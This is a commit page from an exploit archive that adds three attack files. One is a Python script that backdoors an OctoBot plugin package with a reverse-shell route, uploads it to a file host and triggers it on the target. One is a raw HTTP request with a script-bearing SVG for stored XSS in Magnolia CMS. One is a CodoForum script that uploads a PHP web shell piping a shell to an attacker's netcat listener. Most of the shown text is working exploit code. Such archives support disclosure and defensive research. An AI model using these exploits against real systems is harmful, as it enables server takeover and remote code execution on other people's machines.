Skip to content

Commit 46346f8

Browse files
author
Offensive Security
committed
DB: 2022-07-22
6 changes to exploits/shellcodes Kite 1.2021.610.0 - Unquoted Service Path Dr. Fone 4.0.8 - 'net_updater32.exe' Unquoted Service Path IOTransfer 4.0 - Remote Code Execution (RCE) Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS) CodoForum v5.1 - Remote Code Execution (RCE) OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
1 parent d84f857 commit 46346f8

File tree

7 files changed

+606
-0
lines changed

7 files changed

+606
-0
lines changed

exploits/multiple/webapps/50979.py

Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
2+
# Date: 9/2/2021
3+
# Exploit Author: Samy Younsi, Thomas Knudsen
4+
# Vendor Homepage: https://www.octobot.online/
5+
# Software Link: https://github.com/Drakkar-Software/OctoBot
6+
# Version: 0.4.0beta3 - 0.4.3
7+
# Tested on: Linux (Ubuntu, CentOs)
8+
# CVE : CVE-2021-36711
9+
10+
from __future__ import print_function, unicode_literals
11+
from bs4 import BeautifulSoup
12+
import argparse
13+
import requests
14+
import zipfile
15+
import time
16+
import sys
17+
import os
18+
19+
def banner():
20+
sashimiLogo = """
21+
_________ . .
22+
(.. \_ , |\ /|
23+
\ O \ /| \ \/ /
24+
\______ \/ | \ /
25+
vvvv\ \ | / |
26+
_ _ _ _ \^^^^ == \_/ |
27+
| | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. |
28+
/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / |
29+
\__ | (_| \__ | | | | | | | | | | ||/ \_ \| /
30+
( /\__,_( |_| |_|_|_| |_| |_|_| \________/
31+
|_| |_| \033[1;91mOctoBot Killer\033[1;m
32+
Author: \033[1;92mNaqwada\033[1;m
33+
RuptureFarm 1029
34+
35+
FOR EDUCATIONAL PURPOSE ONLY.
36+
"""
37+
return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))
38+
39+
40+
def help():
41+
print('[!] \033[1;93mUsage: \033[1;m')
42+
print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))
43+
print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')
44+
45+
46+
def getOctobotVersion(RHOST, RPORT):
47+
if RPORT == 443:
48+
url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
49+
else:
50+
url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
51+
return curl(url)
52+
53+
54+
def restartOctobot(RHOST, RPORT):
55+
if RPORT == 443:
56+
url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
57+
else:
58+
url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)
59+
60+
try:
61+
requests.get(url, allow_redirects=False, verify=False, timeout=1)
62+
except requests.exceptions.ConnectionError as e:
63+
print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')
64+
time.sleep(30)
65+
66+
67+
def downloadTentaclePackage(octobotVersion):
68+
print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))
69+
url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
70+
result = requests.get(url, stream=True)
71+
with open('{}.zip'.format(octobotVersion), 'wb') as fd:
72+
for chunk in result.iter_content(chunk_size=128):
73+
fd.write(chunk)
74+
print('[+] \033[1;92mDownload completed!\033[1;m')
75+
76+
77+
def unzipTentaclePackage(octobotVersion):
78+
zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
79+
zip.extractall('quests')
80+
os.remove('{}.zip'.format(octobotVersion))
81+
print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')
82+
83+
84+
def craftBackdoor(octobotVersion):
85+
print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))
86+
path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
87+
injectInitFile(path)
88+
injectMetadataFile(path)
89+
print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))
90+
91+
92+
def injectMetadataFile(path):
93+
with open('{}metadata.py'.format(path),'r') as metadataFile:
94+
content = metadataFile.read()
95+
addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))
96+
addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")'))
97+
with open('{}metadata.py'.format(path),'w') as newMetadataFile:
98+
newMetadataFile.write(addPayload)
99+
100+
101+
def injectInitFile(path):
102+
with open('{}__init__.py'.format(path),'r') as initFile:
103+
content = initFile.read()
104+
addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))
105+
addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))
106+
with open('{}__init__.py'.format(path),'w') as newInitFile:
107+
newInitFile.write(addPayload)
108+
109+
110+
def rePackTentaclePackage():
111+
print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')
112+
with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
113+
len_dir_path = len('quests')
114+
for root, _, files in os.walk('quests'):
115+
for file in files:
116+
file_path = os.path.join(root, file)
117+
zipf.write(file_path, file_path[len_dir_path:])
118+
119+
120+
def uploadMaliciousTentacle():
121+
print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')
122+
123+
file = {
124+
'file': open('any_platform.zip', 'rb'),
125+
}
126+
response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
127+
zipLink = response.json()['data']['file']['url']['full']
128+
response = requests.get(zipLink, timeout=60)
129+
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
130+
zipLink = soup.find(id='download-url').get('href')
131+
print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))
132+
return zipLink
133+
134+
def curl(url):
135+
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
136+
return response
137+
138+
139+
def injectBackdoor(RHOST, RPORT, zipLink):
140+
print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')
141+
if RPORT == 443:
142+
url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
143+
else:
144+
url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
145+
146+
headers = {
147+
'Content-Type': 'application/json',
148+
'X-Requested-With': 'XMLHttpRequest',
149+
}
150+
151+
data = '{"'+zipLink+'":"register_and_install"}'
152+
153+
response = requests.post(url, headers=headers, data=data)
154+
response = response.content.decode('utf-8').replace('"', '').strip()
155+
156+
os.remove('any_platform.zip')
157+
158+
if response != 'Tentacles installed':
159+
print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')
160+
exit()
161+
print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')
162+
163+
164+
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
165+
print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))
166+
if RPORT == 443:
167+
url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
168+
else:
169+
url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
170+
return curl(url)
171+
172+
def isPassword(RHOST, RPORT):
173+
if RPORT == 443:
174+
url = 'https://{}:{}'.format(RHOST, RPORT)
175+
else:
176+
url = 'http://{}:{}'.format(RHOST, RPORT)
177+
return curl(url)
178+
179+
def main():
180+
banner()
181+
args = parser.parse_args()
182+
183+
if isPassword(args.RHOST, args.RPORT).status_code != 200:
184+
print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')
185+
186+
octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')
187+
188+
if len(octobotVersion) > 0:
189+
print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))
190+
191+
downloadTentaclePackage(octobotVersion)
192+
unzipTentaclePackage(octobotVersion)
193+
craftBackdoor(octobotVersion)
194+
rePackTentaclePackage()
195+
zipLink = uploadMaliciousTentacle()
196+
injectBackdoor(args.RHOST, args.RPORT, zipLink)
197+
restartOctobot(args.RHOST, args.RPORT)
198+
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
199+
200+
201+
if __name__ == "__main__":
202+
parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)
203+
parser.add_argument('-h', '--help', help=help())
204+
parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)
205+
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
206+
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
207+
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
208+
main()

exploits/php/webapps/50976.txt

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# Exploit Title: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
2+
# Date: 08/05/2022
3+
# Exploit Author: Giulio Garzia 'Ozozuz'
4+
# Vendor Homepage: https://www.magnolia-cms.com/
5+
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
6+
# Version: 6.2.19
7+
# Tested on: Linux, Windows, Docker
8+
# CVE : CVE-2022-33098
9+
10+
Explanation
11+
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.
12+
13+
===== REQUEST =====
14+
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1
15+
Host: 127.0.0.1:8080
16+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
17+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
18+
Accept-Language: en-US,en;q=0.5
19+
Accept-Encoding: gzip, deflate
20+
Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908
21+
Content-Length: 620
22+
Connection: close
23+
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
24+
Upgrade-Insecure-Requests: 1
25+
Sec-Fetch-Dest: iframe
26+
Sec-Fetch-Mode: navigate
27+
Sec-Fetch-Site: same-origin
28+
29+
-----------------------------399178799522967017241464837908
30+
Content-Disposition: form-data; name="140_file"; filename="xss.svg"
31+
Content-Type: image/svg+xml
32+
33+
<?xml version="1.0" standalone="no"?>
34+
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
35+
36+
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
37+
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
38+
<script type="text/javascript">
39+
alert('POC - Magnolia CMS');
40+
</script>
41+
</svg>
42+
43+
-----------------------------399178799522967017241464837908--

exploits/php/webapps/50978.py

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
# Exploit Title: CodoForum v5.1 - Remote Code Execution (RCE)
2+
# Date: 06/07/2022
3+
# Exploit Author: Krish Pandey (@vikaran101)
4+
# Vendor Homepage: https://codoforum.com/
5+
# Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
6+
# Version: CodoForum v5.1
7+
# Tested on: Ubuntu 20.04
8+
# CVE: CVE-2022-31854
9+
10+
#!/usr/bin/python3
11+
12+
import requests
13+
import time
14+
import optparse
15+
import random
16+
import string
17+
18+
banner = """
19+
______ _______ ____ ___ ____ ____ _____ _ ___ ____ _ _
20+
/ ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ // |( _ ) ___|| || |
21+
| | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \| |/ _ \___ \| || |_
22+
| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) | | (_) |__) |__ _|
23+
\____| \_/ |_____| |_____|\___/_____|_____| |____/|_|\___/____/ |_|
24+
"""
25+
26+
print("\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)")
27+
print(banner)
28+
print("\nExploit found and written by: @vikaran101\n")
29+
30+
parser = optparse.OptionParser()
31+
parser.add_option('-t', '--target-url', action="store", dest='target', help='path of the CodoForum v5.1 install')
32+
parser.add_option('-u', '--username', action="store", dest='username', help='admin username')
33+
parser.add_option('-p', '--password', action="store", dest='password', help='admin password')
34+
parser.add_option('-i', '--listener-ip', action="store", dest='ip', help='listener address')
35+
parser.add_option('-n', '--port', action="store", dest='port', help='listener port number')
36+
37+
options, args = parser.parse_args()
38+
39+
proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
40+
41+
if not options.target or not options.username or not options.password or not options.ip or not options.port:
42+
print("[-] Missing arguments!")
43+
print("[*] Example usage: ./exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]")
44+
print("[*] Help menu: ./exploit.py -h OR ./exploit.py --help")
45+
exit()
46+
47+
loginURL = options.target + '/admin/?page=login'
48+
globalSettings = options.target + '/admin/index.php?page=config'
49+
payloadURL = options.target + '/sites/default/assets/img/attachments/'
50+
51+
session = requests.Session()
52+
53+
randomFileName = ''.join((random.choice(string.ascii_lowercase) for x in range(10)))
54+
55+
def getPHPSESSID():
56+
57+
try:
58+
get_PHPID = session.get(loginURL)
59+
headerDict = get_PHPID.headers
60+
cookies = headerDict['Set-Cookie'].split(';')[0].split('=')[1]
61+
return cookies
62+
except:
63+
exit()
64+
65+
phpID = getPHPSESSID()
66+
67+
def login():
68+
send_cookies = {'cf':'0'}
69+
send_headers = {'Host': loginURL.split('/')[2], 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------2838079316671520531167093219','Content-Length':'295','Origin':loginURL.split('/')[2],'Connection':'close','Referer':loginURL,'Upgrade-Insecure-Requests':'1'}
70+
send_creds = "-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"username\"\n\nadmin\n-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"password\"\n\nadmin\n-----------------------------2838079316671520531167093219--"
71+
auth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy)
72+
73+
if "CODOFORUM | Dashboard" in auth.text:
74+
print("[+] Login successful")
75+
76+
def uploadAndExploit():
77+
send_cookies = {'cf':'0', 'user_id':'1', 'PHPSESSID':phpID}
78+
send_headers = {'Content-Type':'multipart/form-data; boundary=---------------------------7450086019562444223451102689'}
79+
send_payload = '\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_title"\n\nCODOLOGIC\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_description"\n\ncodoforum - Enhancing your forum experience with next generation technology!\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="admin_email"\n\n[email protected]\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="default_timezone"\n\nEurope/London\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="register_pass_min"\n\n8\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_all_topics"\n\n30\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_cat_topics"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_per_topic"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_path"\n\nassets/img/attachments\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_exts"\n\njpg,jpeg,png,gif,pjpeg,bmp,txt\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_size"\n\n3\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_mimetypes"\n\nimage/*,text/plain\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_num"\n\n5\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_len"\n\n15\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="reply_min_chars"\n\n10\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="insert_oembed_videos"\n\nyes\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_privacy"\n\neveryone\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="approval_notify_mails"\n\n\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_header_menu"\n\nsite_title\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_logo"; filename="' + randomFileName + '.php"\nContent-Type: application/x-php\n\n<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ' + options.ip + ' ' + options.port + ' >/tmp/f");?> \n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="login_by"\n\nUSERNAME\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="force_https"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="user_redirect_after_login"\n\ntopics\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_hide_topic_messages"\n\noff\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_infinite_scrolling"\n\non\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="show_sticky_topics_without_permission"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="CSRF_token"\n\n23cc3019cadb6891ebd896ae9bde3d95\n-----------------------------7450086019562444223451102689--\n'
80+
exploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy)
81+
82+
print("[*] Checking webshell status and executing...")
83+
payloadExec = session.get(payloadURL + randomFileName + '.php', proxies=proxy)
84+
if payloadExec.status_code == 200:
85+
print("[+] Payload uploaded successfully and executed, check listener")
86+
else:
87+
print("[-] Something went wrong, please try uploading the shell manually(admin panel > global settings > change forum logo > upload and access from " + payloadURL +"[file.php])")
88+
login()
89+
uploadAndExploit()

0 commit comments

Comments
 (0)